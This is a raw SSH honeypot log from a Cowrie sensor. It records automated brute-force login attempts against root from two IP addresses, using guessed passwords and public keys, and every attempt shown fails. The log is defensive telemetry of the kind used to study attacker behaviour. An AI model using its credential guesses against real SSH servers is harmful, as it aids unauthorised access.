{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:27.617535Z","src_ip":"60.165.124.241","session":"386edb6d683e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"demodemo12","message":"login attempt [root/demodemo12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:28.343209Z","src_ip":"60.165.124.241","session":"386edb6d683e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:29.585540Z","src_ip":"60.165.124.241","session":"386edb6d683e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41196,"dst_ip":"10.17.0.5","dst_port":22,"session":"49992616d47d","protocol":"ssh","message":"New connection: 60.165.124.241:41196 (10.17.0.5:22) [session: 49992616d47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:29.857025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:29.864421Z","src_ip":"60.165.124.241","session":"49992616d47d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:30.121733Z","src_ip":"60.165.124.241","session":"49992616d47d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MR6xeRQi9U0*u%4","message":"login attempt [root/MR6xeRQi9U0*u%4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:30.900906Z","src_ip":"60.165.124.241","session":"49992616d47d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:32.162241Z","src_ip":"60.165.124.241","session":"49992616d47d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44146,"dst_ip":"10.17.0.5","dst_port":22,"session":"78a333f36633","protocol":"ssh","message":"New connection: 60.165.124.241:44146 (10.17.0.5:22) [session: 78a333f36633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:32.377592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:32.382462Z","src_ip":"60.165.124.241","session":"78a333f36633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:32.620275Z","src_ip":"60.165.124.241","session":"78a333f36633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root12345678","message":"login attempt [root/Root12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:33.339354Z","src_ip":"60.165.124.241","session":"78a333f36633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:34.579761Z","src_ip":"60.165.124.241","session":"78a333f36633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47308,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee27fb701122","protocol":"ssh","message":"New connection: 60.165.124.241:47308 (10.17.0.5:22) [session: ee27fb701122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:34.816450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:34.826242Z","src_ip":"60.165.124.241","session":"ee27fb701122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:35.066878Z","src_ip":"60.165.124.241","session":"ee27fb701122","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Backup@3R","message":"login attempt [root/Backup@3R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:35.790917Z","src_ip":"60.165.124.241","session":"ee27fb701122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:37.032516Z","src_ip":"60.165.124.241","session":"ee27fb701122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50466,"dst_ip":"10.17.0.5","dst_port":22,"session":"937217034e04","protocol":"ssh","message":"New connection: 60.165.124.241:50466 (10.17.0.5:22) [session: 937217034e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:37.287288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:37.291657Z","src_ip":"60.165.124.241","session":"937217034e04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:37.540219Z","src_ip":"60.165.124.241","session":"937217034e04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Temp1234","message":"login attempt [root/Temp1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.291936Z","src_ip":"60.165.124.241","session":"937217034e04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.156.13","src_port":40474,"dst_ip":"10.17.0.5","dst_port":22,"session":"11831de36097","protocol":"ssh","message":"New connection: 184.154.156.13:40474 (10.17.0.5:22) [session: 11831de36097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.571656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.583473Z","src_ip":"184.154.156.13","session":"11831de36097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.618217Z","src_ip":"184.154.156.13","session":"11831de36097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:bc:f1:84:d7:9a:bb:99:40:bf:a4:73:69:a9:a3:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1NNLt9s9LGuLduPzZ3kildUqAymnrcdMhTw40eHBfkynaTtkY/fov/lDBWwP2gLzZSaL1js2ZNZy7kTqc7S50svw/js7jImFV+Wit6uCNSvFsl2TtFPCSZ4FlH1EzrfxmnxnQR7w5A3O5rl383UC8exAGs6gniZBkgs31pM90kLEV5ARQHvuUZt6wxEUynN3IFsarFhUmZVFCfm63Sx/+T94B/ag2zgm87uHLi3npHC1p2Wml43I67WyfjXjlHz6aBVPpe/YyWlz3oUW6pkbCAtD9HH+mKTyhR+ZcpYQKVpnWPBqCSpdih6LK7gwwtWO/BgZvufzqP414k/CKdr29","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:bc:f1:84:d7:9a:bb:99:40:bf:a4:73:69:a9:a3:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.760989Z","src_ip":"184.154.156.13","session":"11831de36097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:bc:f1:84:d7:9a:bb:99:40:bf:a4:73:69:a9:a3:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1NNLt9s9LGuLduPzZ3kildUqAymnrcdMhTw40eHBfkynaTtkY/fov/lDBWwP2gLzZSaL1js2ZNZy7kTqc7S50svw/js7jImFV+Wit6uCNSvFsl2TtFPCSZ4FlH1EzrfxmnxnQR7w5A3O5rl383UC8exAGs6gniZBkgs31pM90kLEV5ARQHvuUZt6wxEUynN3IFsarFhUmZVFCfm63Sx/+T94B/ag2zgm87uHLi3npHC1p2Wml43I67WyfjXjlHz6aBVPpe/YyWlz3oUW6pkbCAtD9HH+mKTyhR+ZcpYQKVpnWPBqCSpdih6LK7gwwtWO/BgZvufzqP414k/CKdr29","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.764846Z","src_ip":"184.154.156.13","session":"11831de36097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:e4:91:5c:ba:a0:d9:57:a2:28:62:9b:9c:32:6a:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyfbMo3w8J+cw+Kvaj16SAtXy1uVWTnGMRsf6HUjuusuX/Z7BeDwEk6w+wpr+NVns2dApzA8cnSaMsKHUDpjkDxuiazqO5cjPnSbGHG4hfjweTgXoAsRS8R27bgDQ9dd/i0DQHqDK54zjzknkbCZ35ggG5u8PwkZMMD9PBRihklU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:e4:91:5c:ba:a0:d9:57:a2:28:62:9b:9c:32:6a:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.795299Z","src_ip":"184.154.156.13","session":"11831de36097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:e4:91:5c:ba:a0:d9:57:a2:28:62:9b:9c:32:6a:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyfbMo3w8J+cw+Kvaj16SAtXy1uVWTnGMRsf6HUjuusuX/Z7BeDwEk6w+wpr+NVns2dApzA8cnSaMsKHUDpjkDxuiazqO5cjPnSbGHG4hfjweTgXoAsRS8R27bgDQ9dd/i0DQHqDK54zjzknkbCZ35ggG5u8PwkZMMD9PBRihklU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.799172Z","src_ip":"184.154.156.13","session":"11831de36097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:81:d2:4f:19:05:5d:69:7d:df:ce:d2:45:3c:91:fa","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPUGOtb3FB7aybK/+QuZ1aU5ZCgEDed0vtaOTkSOFfZubHHQsQEddvXOEXPAGleptip+CUFTkEg7lz+NcoOirV1v7K+2WcMbk1HO9OOIib6UOuuSrIGUU8zG9Xe9qoMPn879ZVzSyptOTldljM30L32Fhh41g5uzwOXuu+DgEFZTAAAAFQC5Y7vlqSqjkcarkOdq9ypdQMMj3wAAAIBTsaJNUl7ZvXO0nUawN/pTw6i9Suqo1C2oKx3S7vKRYtyO4/HxKcZXKat4vVLtYrbV/nOM/NY3vhoFHEO0tqGwDfroyN2dkYFPjtDQ06Epb/KtUA8+i8JI+0HIz02eDZt4rixlnMb3nv4jRh6hhE6ECYo8cwJ5VK91phIWZfp9NAAAAIEAqDebfm19N5frdjZZxUK0rOwSvWZRmrIhmSfuc92lGzcV4vQwtI9TAE4+T1yYyvtHQ3ZtUuu2zWYyVDng6PICRMw8MDgrh3vAJbr6gYxoUW6nVpacCjk5XPw2oTUq2kAK2/duMIJ3x/k0lAhwK995xrGpLwCo/0bFG7s1Vx9Ddss=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 3f:81:d2:4f:19:05:5d:69:7d:df:ce:d2:45:3c:91:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.828321Z","src_ip":"184.154.156.13","session":"11831de36097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:81:d2:4f:19:05:5d:69:7d:df:ce:d2:45:3c:91:fa","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPUGOtb3FB7aybK/+QuZ1aU5ZCgEDed0vtaOTkSOFfZubHHQsQEddvXOEXPAGleptip+CUFTkEg7lz+NcoOirV1v7K+2WcMbk1HO9OOIib6UOuuSrIGUU8zG9Xe9qoMPn879ZVzSyptOTldljM30L32Fhh41g5uzwOXuu+DgEFZTAAAAFQC5Y7vlqSqjkcarkOdq9ypdQMMj3wAAAIBTsaJNUl7ZvXO0nUawN/pTw6i9Suqo1C2oKx3S7vKRYtyO4/HxKcZXKat4vVLtYrbV/nOM/NY3vhoFHEO0tqGwDfroyN2dkYFPjtDQ06Epb/KtUA8+i8JI+0HIz02eDZt4rixlnMb3nv4jRh6hhE6ECYo8cwJ5VK91phIWZfp9NAAAAIEAqDebfm19N5frdjZZxUK0rOwSvWZRmrIhmSfuc92lGzcV4vQwtI9TAE4+T1yYyvtHQ3ZtUuu2zWYyVDng6PICRMw8MDgrh3vAJbr6gYxoUW6nVpacCjk5XPw2oTUq2kAK2/duMIJ3x/k0lAhwK995xrGpLwCo/0bFG7s1Vx9Ddss=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.834320Z","src_ip":"184.154.156.13","session":"11831de36097","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:b7:8a:c1:6a:8c:03:62:93:a7:a9:f7:08:cf:b0:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2AfZZzcHyWfZaMHwXnnKM7kmPc+vOUOyO9KPiSo1+3CDxC6JHgbbG+vyPjjmsKPy7XhaO3gYki4bgVJky30dumjNR4dhDCoFNvKA2Nm7AoP+R76UxrW2haUcp9q5lQ1M7xuLDIozhCYGAFsoEy1kbYaRo4ylsXy3WOHhI0cKS/NsZOocAzRtb28EhMkMN6Oq7I8gd9vQ1bdaZaW0a0SJVbpshoCwKTFjF4QUo6bv/Ag4oUJagP1hJZkdn7ZIw7KVUG9hZXupEU9ysdlZX89Mvx8gpFlSJfc+9eDso61p7raGqmj5lwI1ynhbD8vo0RW8zm+725HZQAKhCoiqQDarn+dPgWkJWUZwbGKBphBlFzRq3XGndvdw2eHHemTvZrCPyqb96h+h9xteaeArbTwpPkTRTmCj2Z+1XzDk2xtnbledQPc1WE8DbBhyJtGiDvLKSbZSN5krEyR9UeHPkRE4cCJ+mIzClWQ8pX04A22Ctx87rSO2qrBI/q/6OZaXjlRItpMbaVQClO1jqO/g5yXZbyLw4gYjLei1M0xBtCUclBcRUUlD9FFRjSQxIz++RhG7cP4vKixzFGH8C9OQoNViRKIM7fDWhMbLLnzllQ2Nw2C8k0FCeG7ezaUGPOJ0TDn3qMRlqsG30oKrYYS1karEF3sotqnR6MBvo8W7wv+LJoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:b7:8a:c1:6a:8c:03:62:93:a7:a9:f7:08:cf:b0:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:38.864035Z","src_ip":"184.154.156.13","session":"11831de36097","protocol":"ssh"}
